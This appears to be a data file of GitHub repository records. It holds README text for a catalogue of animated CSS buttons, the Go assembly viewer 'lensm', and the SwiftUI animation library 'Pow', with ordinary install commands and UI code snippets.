\| CSS Button that slides its triangular background to the right on click or hover. \| \| [ ![CSS Button that has a large box shadow and that tilts down using 3D Transforms on hover or click.](./buttons/48-3d-float/preview.webp)](https://ui-buttons.web.app/3d-float) \| [3D Float](https://ui-buttons.web.app/3d-float) \| CSS Button that has a large box shadow and that tilts down using 3D Transforms on hover or click. \| \| [ ![CSS Button that pushes itself down in 3D space on hover or click.](./buttons/49-3d-button-click/preview.webp)](https://ui-buttons.web.app/3d-button-click) \| [3D Button Click](https://ui-buttons.web.app/3d-button-click) \| CSS Button that pushes itself down in 3D space on hover or click. \| \| [ ![CSS Button with striped background that scrolls on click or hover.](./buttons/5-striped-zebra/preview.webp)](https://ui-buttons.web.app/striped-zebra) \| [Striped Zebra](https://ui-buttons.web.app/striped-zebra) \| CSS Button with striped background that scrolls on click or hover. \| \| [ ![CSS Button that slides its characters down successively one after the other on hover or click.](./buttons/50-letter-dance/preview.webp)](https://ui-buttons.web.app/letter-dance) \| [Letter Dance](https://ui-buttons.web.app/letter-dance) \| CSS Button that slides its characters down successively one after the other on hover or click. \| \| [ ![CSS Button that slides its characters up and down alternately on hover or click.](./buttons/51-letter-dance-2/preview.webp)](https://ui-buttons.web.app/letter-dance-2) \| [Letter Dance 2](https://ui-buttons.web.app/letter-dance-2) \| CSS Button that slides its characters up and down alternately on hover or click. \| \| [ ![CSS Button that simulates 3D using html elements and that pushes down on hover or click.](./buttons/52-3d-button-2/preview.webp)](https://ui-buttons.web.app/3d-button-2) \| [3D Button 2](https://ui-buttons.web.app/3d-button-2) \| CSS Button that simulates 3D using html elements and that pushes down on hover or click. \| \| [ ![CSS Button that reveals its fun rainbow gradient background sitting inside of its rainbow gradient image border on hover or click.](./buttons/53-rainbow-fill/preview.webp)](https://ui-buttons.web.app/rainbow-fill) \| [Rainbow Fill](https://ui-buttons.web.app/rainbow-fill) \| CSS Button that reveals its fun rainbow gradient background sitting inside of its rainbow gradient image border on hover or click. \| \| [ ![CSS Button that pulsates on hover on hover or click.](./buttons/54-pulse/preview.webp)](https://ui-buttons.web.app/pulse) \| [Pulse](https://ui-buttons.web.app/pulse) \| CSS Button that pulsates on hover on hover or click. \| \| [ ![CSS Button that moves its background back into-place on hover or click.](./buttons/55-offset/preview.webp)](https://ui-buttons.web.app/offset) \| [Offset](https://ui-buttons.web.app/offset) \| CSS Button that moves its background back into-place on hover or click. \| \| [ ![CSS Button that overlays a blurry layer on its background on hover or click.](./buttons/56-backdrop-blur/preview.webp)](https://ui-buttons.web.app/backdrop-blur) \| [Backdrop Blur](https://ui-buttons.web.app/backdrop-blur) \| CSS Button that overlays a blurry layer on its background on hover or click. \| \| [ ![CSS Button that plays the TADA animation from animate.css on hover or click.](./buttons/57-tada/preview.webp)](https://ui-buttons.web.app/tada) \| [Tada](https://ui-buttons.web.app/tada) \| CSS Button that plays the TADA animation from animate.css on hover or click. \| \| [ ![CSS Button that slides its two backgrounds horizontally to the middle on click or hover.](./buttons/58-double-horizontal/preview.webp)](https://ui-buttons.web.app/double-horizontal) \| [Double Horizontal](https://ui-buttons.web.app/double-horizontal) \| CSS Button that slides its two backgrounds horizontally to the middle on click or hover. \| \| [ ![CSS Button that plays the jello animation from animate.css on hover or click.](./buttons/59-jello/preview.webp)](https://ui-buttons.web.app/jello) \| [Jello](https://ui-buttons.web.app/jello) \| CSS Button that plays the jello animation from animate.css on hover or click. \| \| [ ![CSS Button with four blocks on alternate sides that move to the center on click or hover.](./buttons/6-alternate-blocks/preview.webp)](https://ui-buttons.web.app/alternate-blocks) \| [Alternate Blocks](https://ui-buttons.web.app/alternate-blocks) \| CSS Button with four blocks on alternate sides that move to the center on click or hover. \| \| [ ![CSS Button that plays the rubberband animation from animate.css on hover or click.](./buttons/60-rubberband/preview.webp)](https://ui-buttons.web.app/rubberband) \| [Rubberband](https://ui-buttons.web.app/rubberband) \| CSS Button that plays the rubberband animation from animate.css on hover or click. \| \| [ ![CSS Button that plays the wobble animation from animate.css on hover or click.](./buttons/61-wobble/preview.webp)](https://ui-buttons.web.app/wobble) \| [Wobble](https://ui-buttons.web.app/wobble) \| CSS Button that plays the wobble animation from animate.css on hover or click. \| \| [ ![CSS Button that plays the head-shake animation from animate.css on hover or click.](./buttons/62-head-shake/preview.webp)](https://ui-buttons.web.app/head-shake) \| [Head Shake](https://ui-buttons.web.app/head-shake) \| CSS Button that plays the head-shake animation from animate.css on hover or click. \| \| [ ![CSS Button that plays the heart-beat animation from animate.css on hover or click.](./buttons/63-heart-beat/preview.webp)](https://ui-buttons.web.app/heart-beat) \| [Heart Beat](https://ui-buttons.web.app/heart-beat) \| CSS Button that plays the heart-beat animation from animate.css on hover or click. \| \| [ ![CSS Button that plays the flash animation from animate.css on hover or click.](./buttons/64-flash/preview.webp)](https://ui-buttons.web.app/flash) \| [Flash](https://ui-buttons.web.app/flash) \| CSS Button that plays the flash animation from animate.css on hover or click. \| \| [ ![CSS Button that slides a copy of its text vertically with another color on hover or click.](./buttons/65-text-slide/preview.webp)](https://ui-buttons.web.app/text-slide) \| [Text Slide](https://ui-buttons.web.app/text-slide) \| CSS Button that slides a copy of its text vertically with another color on hover or click. \| \| [ ![CSS Button that has borders that fill-up one after another on hover or click.](./buttons/66-border-snake/preview.webp)](https://ui-buttons.web.app/border-snake) \| [Border Snake](https://ui-buttons.web.app/border-snake) \| CSS Button that has borders that fill-up one after another on hover or click. \| \| [ ![CSS Button that has borders filling up from the parallel sides on hover or click.](./buttons/67-snakes-alternate/preview.webp)](https://ui-buttons.web.app/snakes-alternate) \| [Snakes Alternate](https://ui-buttons.web.app/snakes-alternate) \| CSS Button that has borders filling up from the parallel sides on hover or click. \| \| [ ![CSS Button that has borders filling up to meet at 2 points on hover or click.](./buttons/68-snakes-meet/preview.webp)](https://ui-buttons.web.app/snakes-meet) \| [Snakes Meet](https://ui-buttons.web.app/snakes-meet) \| CSS Button that has borders filling up to meet at 2 points on hover or click. \| \| [ ![CSS Button with two backgrounds that slide vertically to the center on click or hover.](./buttons/69-double-vertical/preview.webp)](https://ui-buttons.web.app/double-vertical) \| [Double Vertical](https://ui-buttons.web.app/double-vertical) \| CSS Button with two backgrounds that slide vertically to the center on click or hover. \| \| [ ![CSS Button with 4 corners that all converge to the middle on click or hover.](./buttons/7-quadruple-corners/preview.webp)](https://ui-buttons.web.app/quadruple-corners) \| [Quadruple Corners](https://ui-buttons.web.app/quadruple-corners) \| CSS Button with 4 corners that all converge to the middle on click or hover. \| \| [ ![CSS Button that has borders filling up from the center on hover or click.](./buttons/70-snakes-center/preview.webp)](https://ui-buttons.web.app/snakes-center) \| [Snakes Center](https://ui-buttons.web.app/snakes-center) \| CSS Button that has borders filling up from the center on hover or click. \| \| [ ![CSS Button that fills up its background radially from the center then fades out on hover or click.](./buttons/71-material-ripple/preview.webp)](https://ui-buttons.web.app/material-ripple) \| [Material Ripple](https://ui-buttons.web.app/material-ripple) \| CSS Button that fills up its background radially from the center then fades out on hover or click. \| \| [ ![CSS Button that has a fluffy shadow that moves to the inside on hover or click.](./buttons/72-neumorphism-1/preview.webp)](https://ui-buttons.web.app/neumorphism-1) \| [Neumorphism 1](https://ui-buttons.web.app/neumorphism-1) \| CSS Button that has a fluffy shadow that moves to the inside on hover or click. \| \| [ ![CSS Button that has a fluffy shadow and text with a 3D effect using text shadows and that moves to the inside on hover or click.](./buttons/73-neumorphism-2/preview.webp)](https://ui-buttons.web.app/neumorphism-2) \| [Neumorphism 2](https://ui-buttons.web.app/neumorphism-2) \| CSS Button that has a fluffy shadow and text with a 3D effect using text shadows and that moves to the inside on hover or click. \| \| [ ![CSS Button that has a fluffy shadow that smoothly moves to the inside on hover or click.](./buttons/74-neumorphism-3/preview.webp)](https://ui-buttons.web.app/neumorphism-3) \| [Neumorphism 3](https://ui-buttons.web.app/neumorphism-3) \| CSS Button that has a fluffy shadow that smoothly moves to the inside on hover or click. \| \| [ ![CSS Button that moves down on hover or click.](./buttons/75-neumorphism-4/preview.webp)](https://ui-buttons.web.app/neumorphism-4) \| [Neumorphism 4](https://ui-buttons.web.app/neumorphism-4) \| CSS Button that moves down on hover or click. \| \| [ ![CSS Button that has borders filling up slowly then revealing a large neon shadow on hover or click.](./buttons/76-neon/preview.webp)](https://ui-buttons.web.app/neon) \| [Neon](https://ui-buttons.web.app/neon) \| CSS Button that has borders filling up slowly then revealing a large neon shadow on hover or click. \| \| [ ![CSS Button that keeps pulsing on hover or click.](./buttons/77-i-want-attention/preview.webp)](https://ui-buttons.web.app/i-want-attention) \| [I Want Attention](https://ui-buttons.web.app/i-want-attention) \| CSS Button that keeps pulsing on hover or click. \| \| [ ![CSS Button that moves its background from the outside to the inside on hover or click.](./buttons/78-hug/preview.webp)](https://ui-buttons.web.app/hug) \| [Hug](https://ui-buttons.web.app/hug) \| CSS Button that moves its background from the outside to the inside on hover or click. \| \| [ ![CSS Button that moves its background closer from the outside to the inside on hover or click.](./buttons/79-hug-2/preview.webp)](https://ui-buttons.web.app/hug-2) \| [Hug 2](https://ui-buttons.web.app/hug-2) \| CSS Button that moves its background closer from the outside to the inside on hover or click. \| \| [ ![CSS Button that floats up with a box shadow below it on click or hover.](./buttons/8-float-up/preview.webp)](https://ui-buttons.web.app/float-up) \| [Float Up](https://ui-buttons.web.app/float-up) \| CSS Button that floats up with a box shadow below it on click or hover. \| \| [ ![CSS Button that slides its two diagonal backgrounds horizontally to the center on click or hover.](./buttons/80-double-diagonal/preview.webp)](https://ui-buttons.web.app/double-diagonal) \| [Double Diagonal](https://ui-buttons.web.app/double-diagonal) \| CSS Button that slides its two diagonal backgrounds horizontally to the center on click or hover. \| \| [ ![CSS Button that has a background that slowly fills up with a progress animation on hover or click.](./buttons/81-progress-fill-right/preview.webp)](https://ui-buttons.web.app/progress-fill-right) \| [Progress Fill Right](https://ui-buttons.web.app/progress-fill-right) \| CSS Button that has a background that slowly fills up with a progress animation on hover or click. \| \| [ ![CSS Button that has a background that slowly fills up vertically on hover or click.](./buttons/82-progress-fill-up/preview.webp)](https://ui-buttons.web.app/progress-fill-up) \| [Progress Fill Up](https://ui-buttons.web.app/progress-fill-up) \| CSS Button that has a background that slowly fills up vertically on hover or click. \| \| [ ![CSS Button that shrinks into a progress-bar horizontally on hover or click.](./buttons/84-progress-shrink-vertical/preview.webp)](https://ui-buttons.web.app/progress-shrink-vertical) \| [Progress Shrink Vertical](https://ui-buttons.web.app/progress-shrink-vertical) \| CSS Button that shrinks into a progress-bar vertically on hover or click. \| \| [ ![CSS Button that tilts in 3D space to reveal a horizontal progress-bar on hover or click.](./buttons/85-3d-progress/preview.webp)](https://ui-buttons.web.app/3d-progress) \| [3D Progress](https://ui-buttons.web.app/3d-progress) \| CSS Button that tilts in 3D space to reveal a horizontal progress-bar on hover or click. \| \| [ ![CSS Button that shrinks into a horizontal progress-bar in a smooth and elastic animation on hover or click.](./buttons/86-elastic-progress/preview.webp)](https://ui-buttons.web.app/elastic-progress) \| [Elastic Progress](https://ui-buttons.web.app/elastic-progress) \| CSS Button that shrinks into a horizontal progress-bar in a smooth and elastic animation on hover or click. \| \| [ ![CSS Button that double-fills its background and plays an elastic animation with its characters on hover or click.](./buttons/87-letter-dance-3/preview.webp)](https://ui-buttons.web.app/letter-dance-3) \| [Letter Dance 3](https://ui-buttons.web.app/letter-dance-3) \| CSS Button that double-fills its background and plays an elastic animation with its characters on hover or click. \| \| [ ![CSS Button that has a circular border that is clipped and fills up then fills up the background on hover or click.](./buttons/88-circular-charge/preview.webp)](https://ui-buttons.web.app/circular-charge) \| [Circular Charge](https://ui-buttons.web.app/circular-charge) \| CSS Button that has a circular border that is clipped and fills up then fills up the background on hover or click. \| \| [ ![CSS Button that scales its background like a pulse on hover or click.](./buttons/89-icon-pulse/preview.webp)](https://ui-buttons.web.app/icon-pulse) \| [Icon Pulse](https://ui-buttons.web.app/icon-pulse) \| CSS Button that scales its background like a pulse on hover or click. \| \| [ ![CSS Button that slices its background in half on click or hover.](./buttons/9-slicer/preview.webp)](https://ui-buttons.web.app/slicer) \| [Slicer](https://ui-buttons.web.app/slicer) \| CSS Button that slices its background in half on click or hover. \| \| [ ![CSS Button that slides vertically inside its borders on hover or click.](./buttons/90-icon-slide/preview.webp)](https://ui-buttons.web.app/icon-slide) \| [Icon Slide](https://ui-buttons.web.app/icon-slide) \| CSS Button that slides vertically inside its borders on hover or click. \| \| [ ![CSS Button that slides its two triangular backgrounds horizontally to the center on click or hover.](./buttons/91-double-triangle/preview.webp)](https://ui-buttons.web.app/double-triangle) \| [Double Triangle](https://ui-buttons.web.app/double-triangle) \| CSS Button that slides its two triangular backgrounds horizontally to the center on click or hover. \| \| [ ![CSS Button that moves two circles closer to each other that have a gooey and slimy effect on hover or click.](./buttons/92-gooey/preview.webp)](https://ui-buttons.web.app/gooey) \| [Gooey](https://ui-buttons.web.app/gooey) \| CSS Button that moves two circles closer to each other that have a gooey and slimy effect on hover or click. \| \| [ ![CSS Button that plays an RGB split animation on hover or click.](./buttons/93-seizure-glitch/preview.webp)](https://ui-buttons.web.app/seizure-glitch) \| [Seizure Glitch](https://ui-buttons.web.app/seizure-glitch) \| CSS Button that plays an RGB split animation on hover or click. \| \| [ ![CSS Button that has borders mimicking hand-drawn edges on hover or click.](./buttons/94-handdrawn-1/preview.webp)](https://ui-buttons.web.app/handdrawn-1) \| [HandDrawn 1](https://ui-buttons.web.app/handdrawn-1) \| CSS Button that has borders mimicking hand-drawn edges on hover or click. \| \| [ ![CSS Button that has borders mimicking hand-drawn edges and floats up on hover or click.](./buttons/95-handdrawn-2/preview.webp)](https://ui-buttons.web.app/handdrawn-2) \| [HandDrawn 2](https://ui-buttons.web.app/handdrawn-2) \| CSS Button that has borders mimicking hand-drawn edges and floats up on hover or click. \| \| [ ![CSS Button that scales down inside its borders on hover or click.](./buttons/96-icon-zoom/preview.webp)](https://ui-buttons.web.app/icon-zoom) \| [Icon Zoom](https://ui-buttons.web.app/icon-zoom) \| CSS Button that scales down inside its borders on hover or click. \| \| [ ![CSS Button that has a border scaling in on it on hover or click.](./buttons/97-icon-focus/preview.webp)](https://ui-buttons.web.app/icon-focus) \| [Icon Focus](https://ui-buttons.web.app/icon-focus) \| CSS Button that has a border scaling in on it on hover or click. \| \| [ ![CSS Button that paper-folds one side to reveal a progress-bar on hover or click.](./buttons/98-progress-fold/preview.webp)](https://ui-buttons.web.app/progress-fold) \| [Progress Fold](https://ui-buttons.web.app/progress-fold) \| CSS Button that paper-folds one side to reveal a progress-bar on hover or click. \| \| [ ![CSS Button that moves up many shadows successively on hover or click.](./buttons/99-sandwish/preview.webp)](https://ui-buttons.web.app/sandwish) \| [Sandwish](https://ui-buttons.web.app/sandwish) \| CSS Button that moves up many shadows successively on hover or click. \|	100 Modern CSS Buttons. Every style that you can imagine.	css,frontend,angular,awesome,awesome-list,design,design-system,framework,free,npm	0	2	32	19	1	1	1
loov/lensm	# lensm A tool for viewing assembly and source. ![Screenshot](./screenshot.gif) Install with the usual Go commands: ``` go install loov.dev/lensm@main ``` _For Linux you may need to add some [additional dependencies](https://gioui.org/doc/install/linux). You can use `go install --tags nowayland loov.dev/lensm@main` or `go install --tags nox11 loov.dev/lensm@main` respectively to skip building Wayland or X11 version._ To run the program provide a regular expression filter for the function you want to inspect. `-watch` allows to automatically reload the executable and information when it changes. ``` lensm -watch -filter Fibonacci lensm ``` Note: The program requires a binary that is built on your computer, otherwise the source code for the functions cannot be loaded. ## Why? I wrote a blog post at https://www.storj.io/blog/lensm on why and how the core functionality works.	Go assembly and source viewer	null	1	4	7	87	6	3	0
EmergeTools/Pow	![](./images/og-image.png) # Pow Delightful SwiftUI effects for your app. [Check out other open source projects from Emerge Tools](https://www.emergetools.com/open-source) # Installation To add a package dependency to your Xcode project, select _File_ > _Add Package_ and enter this repository's URL (https://github.com/EmergeTools/Pow). To add a package dependency to Swift Package, add this repository to your list of dependencies. ```swift .package(url: "https://github.com/EmergeTools/Pow", from: Version(1, 0, 0)) ``` And to your target as a product: ```swift .product(name: "Pow", package: "Pow") ``` If you are moving from the previously closed source Pow framework to the new open source package, please refer to our [Transition Guide](). If you have any problems please file an [issue](https://github.com/EmergeTools/Pow/issues). # Overview Pow features a selection of [SwiftUI transitions](#transitions) as well as [Change Effects](#change-effects) that trigger every time a value is updated. You can find previews of all effects [on the Pow website](https://movingparts.io/pow). If you have an iOS Developer Environment, you can check out the [Pow Example App](https://github.com/EmergeTools/Pow/tree/main/Example). # Feedback & Contribution This project provides multiple forms of delivering feedback to maintainers. If you are figuring out how to use about Pow or one of it's effects we ask that you first consult the [effects examples page](https://movingparts.io/pow). If you still have a question, enhancement, or a way to improve Pow, this project leverages GitHub's [Issues](https://github.com/EmergeTools/Pow/issues) to manage your requests. If you find a bug and wish to report it, an issue would be greatly appreciated. # Requirements - iOS 15.0+ - macOS 12.0 - Mac Catalyst 15.0+ - visionOS beta 6 (requires Xcode 15.1 beta 3) ## Change Effects Change Effects are effects that will trigger a visual or haptic every time a value changes. Use the `changeEffect` modifier and pass in an `AnyChangeEffect` as well as a value to watch for changes. ```swift Button { post.toggleLike() } label: { Label(post.likes.formatted(), systemName: "heart.fill") } .changeEffect(.spray { heart }, value: post.likes, isEnabled: post.isLiked) .tint(post.isLiked ? .red : .gray) ``` You can choose from the following Change Effects: [Spray](#spray), [Haptic Feedback](#haptic-feedback), [Jump](#jump), [Ping](#ping), [Rise](#rise), [Shake](#shake), [Shine](#shine), and [Spin](#spin). ### Spray [Preview](https://movingparts.io/pow/#spray) An effect that emits multiple particles in different shades and sizes moving up from the origin point. ```swift likeButton .changeEffect( .spray(origin: .center) { Image(systemName: "heart.fill") }, value: likes ) ``` - Parameters: - `origin`: The origin of the particles. - `layer`: The `ParticleLayer` on which to render the effect, default is `local`. - `particles`: The particles to emit. ```swift static func spray(origin: UnitPoint = .center, layer: ParticleLayer = .local, @ViewBuilder _ particles: () -> some View) -> AnyChangeEffect ``` ### Haptic Feedback Triggers haptic feedback to communicate successes, failures, and warnings whenever a value changes. - `notification`: The feedback type to trigger. ```swift static func feedback(hapticNotification type: UINotificationFeedbackGenerator.FeedbackType) -> AnyChangeEffect ``` Triggers haptic feedback to simulate physical impacts whenever a value changes. - `impact`: The feedback style to trigger. ```swift static func feedback(hapticImpact style: UIImpactFeedbackGenerator.FeedbackStyle) -> AnyChangeEffect ``` Triggers haptic feedback to indicate a change in selection whenever a value changes. ```swift static var feedbackHapticSelection: AnyChangeEffect ``` ### Jump [Preview](https://movingparts.io/pow/#jump) Makes the view jump the given height and then bounces a few times before settling. - `height`: The height of the jump. ```swift static func jump(height: CGFloat) -> AnyChangeEffect ``` ### Ping [Preview](https://movingparts.io/pow/#ping) Adds one or more shapes that slowly grow and fade-out behind the view. The shape will be colored by the current tint style. - Parameters: - `shape`: The shape to use for the effect. - `count`: The number of shapes to emit. ```swift static func ping(shape: some InsettableShape, count: Int) -> AnyChangeEffect ``` An effect that adds one or more shapes that slowly grow and fade-out behind the view. - Parameters: - `shape`: The shape to use for the effect. - `style`: The style to use for the effect. - `count`: The number of shapes to emit. ```swift static func ping(shape: some InsettableShape, style: some ShapeStyle, count: Int) -> AnyChangeEffect ``` ### Rise [Preview](https://movingparts.io/pow/#rise) An effect that emits the provided particles from the origin point and slowly float up while moving side to side. - Parameters: - `origin`: The origin of the particle. - `layer`: The `ParticleLayer` on which to render the effect, default is `local`. - `particles`: The particles to emit. ```swift static func rise(origin: UnitPoint = .center, layer: ParticleLayer = .local, @ViewBuilder _ particles: () -> some View) -> AnyChangeEffect ``` ### Shake [Preview](https://movingparts.io/pow/#shake) Shakes the view when a change happens. ```swift static var shake: AnyChangeEffect ``` An effect that shakes the view when a change happens. - `rate`: The rate of the shake. ```swift static func shake(rate: ShakeRate) -> AnyChangeEffect ``` ### Shine [Preview](https://movingparts.io/pow/#shine) Highlights the view with a shine moving over the view. The shine moves from the top leading edge to bottom trailing edge. ```swift static var shine: AnyChangeEffect ``` Highlights the view with a shine moving over the view. The shine moves from the top leading edge to bottom trailing edge. ```swift static func shine(duration: Double) -> AnyChangeEffect ``` Highlights the view with a shine moving over the view. The angle is relative to the current `layoutDirection`, such that 0° represents sweeping towards the trailing edge and 90° represents sweeping towards the bottom edge. - Parameters: - `angle`: The angle of the animation. - `duration`: The duration of the animation. ```swift static func shine(angle: Angle, duration: Double = 1.0) -> AnyChangeEffect ``` ### Sound Effect Feedback Triggers a sound effect as feedback whenever a value changes. This effect will not interrupt or duck any other audio that may be currently playing. This effect is not guaranteed to be triggered; the effect running depends on the user's silent switch position and the current playback device. To relay important information to the user, you should always accompany audio effects with visual cues. - `soundEffect`: The sound effect to trigger. ```swift static func feedback(_ soundEffect: SoundEffect) -> AnyChangeEffect ``` ### Spin [Preview](https://movingparts.io/pow/#spin) Spins the view around the given axis when a change happens. ```swift static var spin: AnyChangeEffect ``` Spins the view around the given axis when a change happens. - Parameters: - axis: The x, y and z elements that specify the axis of rotation. - anchor: The location with a default of center that defines a point in 3D space about which the rotation is anchored. - anchorZ: The location with a default of 0 that defines a point in 3D space about which the rotation is anchored. - perspective: The relative vanishing point with a default of 1 / 6 for this rotation. ```swift static func spin(axis: (x: CGFloat, y: CGFloat, z: CGFloat), anchor: UnitPoint = .center, anchorZ: CGFloat = 0, perspective: CGFloat = 1 / 6) -> AnyChangeEffect ``` ### Delay Every change effect can be delayed to trigger the effect after some time. ```swift Button("Submit") { <#code#> } .buttonStyle(.borderedProminent) .disabled(name.isEmpty) .changeEffect(.shine.delay(1), value: name.isEmpty, isEnabled: !name.isEmpty) ``` - Parameters: - `delay`: The delay in seconds. ```swift func delay(_ delay: Double) -> AnyChangeEffect ``` ## Particle Layer A particle layer is a context in which particle effects draw their particles. The `particleLayer(name:)` view modifier wraps the view in a particle layer with the given name. Particle effects such as `AnyChangeEffect.spray` can render their particles on this position in the view tree to avoid being clipped by their immediate ancestor. For example, certain `List` styles may clip their rows. Use `particleLayer(_:)` to render particles on top of the entire `List` or even its enclosing `NavigationStack`. ```swift func particleLayer(name: AnyHashable) -> some View ``` ## Transitions All transitions are namespaced under the `movingParts` static variable, e.g. ```swift myView.transition(.movingParts.anvil) ``` ### Anvil [Preview](https://movingparts.io/pow/#anvil) A transition that drops the view down from the top with matching haptic feedback. The transition is only performed on insertion and takes 1.4 seconds. ```swift static var anvil: AnyTransition ``` ### Blinds [Preview](https://movingparts.io/pow/#blinds) A transition that reveals the view as if it was behind window blinds. ```swift static var blinds: AnyTransition ``` A transition that reveals the view as if it was behind window blinds. Parameters: - `slatWidth`: The width of each slat. - `style`: The style of blinds, either `.venetian` or `.vertical`. - `isStaggered`: Whether all slats opens at the same time or in sequence. ```swift static func blinds(slatWidth: CGFloat, style: BlindsStyle = .venetian, isStaggered: Bool = false) -> AnyTransition ``` ### Blur [Preview ](https://movingparts.io/pow/#blur) A transition from blurry to sharp on insertion, and from sharp to blurry on removal. ```swift static var blur: AnyTransition ``` ### Boing [Preview](https://movingparts.io/pow/#boing) A transition that moves the view down with any overshoot resulting in an elastic deformation of the view. ```swift static var boing: AnyTransition ``` A transition that moves the view from the specified edge on insertion, and towards it on removal, with any overshoot resulting in an elastic deformation of the view. ```swift static func boing(edge: Edge) -> AnyTransition ``` ### Clock [Preview](https://movingparts.io/pow/#clock) A transition using a clockwise sweep around the centerpoint of the view. ```swift static var clock: AnyTransition ``` A transition using a clockwise sweep around the centerpoint of the view. - Parameter `blurRadius`: The radius of the blur applied to the mask. ```swift static func clock(blurRadius: CGFloat) -> AnyTransition ``` ### Flicker [Preview](https://movingparts.io/pow/#flicker) A transition that toggles the visibility of the view multiple times before settling. ```swift static var flicker: AnyTransition ``` A transition that toggles the visibility of the view multiple times before settling. - Parameter `count`: The number of times the visibility is toggled. ```swift static func flicker(count: Int) -> AnyTransition ``` ### Film Exposure [Preview](https://movingparts.io/pow/#film-exposure) A transition from completely dark to fully visible on insertion, and from fully visible to completely dark on removal. ```swift static var filmExposure: AnyTransition ``` ### Flip [Preview](https://movingparts.io/pow/#flip) A transition that inserts by rotating the view towards the viewer, and removes by rotating the view away from the viewer. > Note: > Any overshoot of the animation will result in the view continuing the rotation past the view's normal state before eventually settling. ```swift static var flip: AnyTransition ``` ### Glare [Preview](https://movingparts.io/pow/#glare) A transitions that shows the view by combining a diagonal wipe with a white streak. ```swift static var glare: AnyTransition ``` A transitions that shows the view by combining a wipe with a colored streak. The angle is relative to the current `layoutDirection`, such that 0° represents sweeping towards the trailing edge on insertion and 90° represents sweeping towards the bottom edge. In this example, the removal of the view is using a glare with an exponential ease-in curve, combined with a anticipating scale animation, making for a more dramatic exit. ```swift infoBox .transition( .asymmetric( insertion: .movingParts.glare(angle: .degrees(225)), removal: .movingParts.glare(angle: .degrees(45) ) .animation(.movingParts.easeInExponential(duration: 0.9)) .combined(with: .scale(scale: 1.4) .animation(.movingParts.anticipate(duration: 0.9).delay(0.1) ) ) ) ) ``` - Parameters: - `direction`: The angle of the wipe. - `color`: The color of the glare effect. ```swift static func glare(angle: Angle, color: Color = .white) -> AnyTransition ``` ### Iris [Preview](https://movingparts.io/pow/#iris) A transition that takes the shape of a growing circle when inserting, and a shrinking circle when removing. - Parameters: - `origin`: The center point of the circle as it grows or shrinks. - `blurRadius`: The radius of the blur applied to the mask. ```swift static func iris(origin: UnitPoint = .center, blurRadius: CGFloat = 0) -> AnyTransition ``` ### Move [Preview](https://movingparts.io/pow/#move) A transition that moves the view from the specified edge of the on insertion and towards it on removal. ```swift static func move(edge: Edge) -> AnyTransition ``` A transition that moves the view at the specified angle. The angle is relative to the current `layoutDirection`, such that 0° represents animating towards the trailing edge on insertion and 90° represents inserting towards the bottom edge. In this example, the view insertion is animated by moving it towards the top trailing corner and the removal is animated by moving it towards the bottom edge. ```swift Text("Hello") .transition( .asymmetric( insertion: .movingParts.move(angle: .degrees(45)), removal: .movingParts.move(angle: .degrees(90)) ) ) ``` - Parameter `angle`: The direction of the animation. ```swift static func move(angle: Angle) -> AnyTransition ``` ### Pop [Preview](https://movingparts.io/pow/#pop) A transition that shows a view with a ripple effect and a flurry of tint-colored particles. The transition is only performed on insertion and takes 1.2 seconds. ```swift static var pop: AnyTransition ``` A transition that shows a view with a ripple effect and a flurry of colored particles. In this example, the star uses the pop effect only when transitioning from `starred == false` to `starred == true`: ```swift Button { starred.toggle() } label: { if starred { Image(systemName: "star.fill") .foregroundStyle(.orange) .transition(.movingParts.pop(.orange)) } else { Image(systemName: "star") .foregroundStyle(.gray) .transition(.identity) } } ``` The transition is only performed on insertion. - Parameter `style`: The style to use for the effect. ```swift static func pop<S: ShapeStyle>(_ style: S) -> AnyTransition ``` ### Poof [Preview](https://movingparts.io/pow/#poof) A transition that removes the view in a dissolving cartoon style cloud. The transition is only performed on removal and takes 0.4 seconds. ```swift static var poof: AnyTransition ``` ### Rotate3D A transition that inserts by rotating from the specified rotation, and removes by rotating to the specified rotation in three dimensions. In this example, the view is rotated 90˚ about the y axis around its bottom edge as if it was rising from lying on its back face: ```swift Text("Hello") .transition(.movingParts.rotate3D( .degrees(90), axis: (1, 0, 0), anchor: .bottom, perspective: 1.0 / 6.0) ) ``` > Note: > Any overshoot of the animation will result in the view continuing the rotation past the view's normal state before eventually settling. - Parameters: - `angle`: The angle from which to rotate the view. - `axis`: The x, y and z elements that specify the axis of rotation. - `anchor`: The location with a default of center that defines a point in 3D space about which the rotation is anchored. - `anchorZ`: The location with a default of 0 that defines a point in 3D space about which the rotation is anchored. - `perspective`: The relative vanishing point with a default of 1 for this rotation. ```swift static func rotate3D(_ angle: Angle, axis: (x: CGFloat, y: CGFloat, z: CGFloat), anchor: UnitPoint = .center, anchorZ: CGFloat = 0, perspective: CGFloat = 1) -> AnyTransition ``` ### Snapshot [Preview](https://movingparts.io/pow/#snapshot) A transition from completely bright to fully visible on insertion, and from fully visible to completely bright on removal. ```swift static var snapshot: AnyTransition ``` ### Skid [Preview](https://movingparts.io/pow/#skid) A transition that moves the view in from its leading edge with any overshoot resulting in an elastic deformation of the view. ```swift static var skid: AnyTransition ``` A transition that moves the view in from the specified edge during insertion and towards it during removal with any overshoot resulting in an elastic deformation of the view. - Parameter `direction`: The direction of the transition. ```swift static func skid(direction: SkidDirection) -> AnyTransition ``` ### Swoosh [Preview](https://movingparts.io/pow/#swoosh) A three-dimensional transition from the back of the towards the front during insertion and from the front towards the back during removal. ```swift static var swoosh: AnyTransition ``` ### Vanish [Preview](https://movingparts.io/pow/#vanish) A transition that dissolves the view into many small particles. The transition is only performed on removal. > Note: > This transition will use an ease-out animation with a duration of 900ms if the current `Animation` is `.default`. ```swift static var vanish: AnyTransition ``` A transition that dissolves the view into many small particles. The transition is only performed on removal. > Note: > This transition will use an ease-out animation with a duration of 900ms if the current `Animation` is `.default`. - Parameter `style`: The style to use for the particles. ```swift static func vanish<S: ShapeStyle>(_ style: S) -> AnyTransition ``` A transition that dissolves the view into many small particles following a given shape. The transition is only performed on removal. > Note: > This transition will use an ease-out animation with a duration of 900ms if the current `Animation` is `.default`. - Parameter `style`: The style to use for the particles. - Parameter `mask`: The mask that determines where particles should be placed. - Parameter `eoFill`: A Boolean that indicates whether the shape is interpreted with the even-odd winding number rule. ```swift static func vanish<T: ShapeStyle, S: Shape>(_ style: T, mask: S, eoFill: Bool = false) -> AnyTransition ``` ### Wipe [Preview](https://movingparts.io/pow/#wipe) A transition using a sweep from the specified edge on insertion, and towards it on removal. - Parameters: - `edge`: The edge at which the sweep starts or ends. - `blurRadius`: The radius of the blur applied to the mask. ```swift static func wipe(edge: Edge, blurRadius: CGFloat = 0) -> AnyTransition ``` A transition using a sweep at the specified angle. The angle is relative to the current `layoutDirection`, such that 0° represents sweeping towards the trailing edge on insertion and 90° represents sweeping 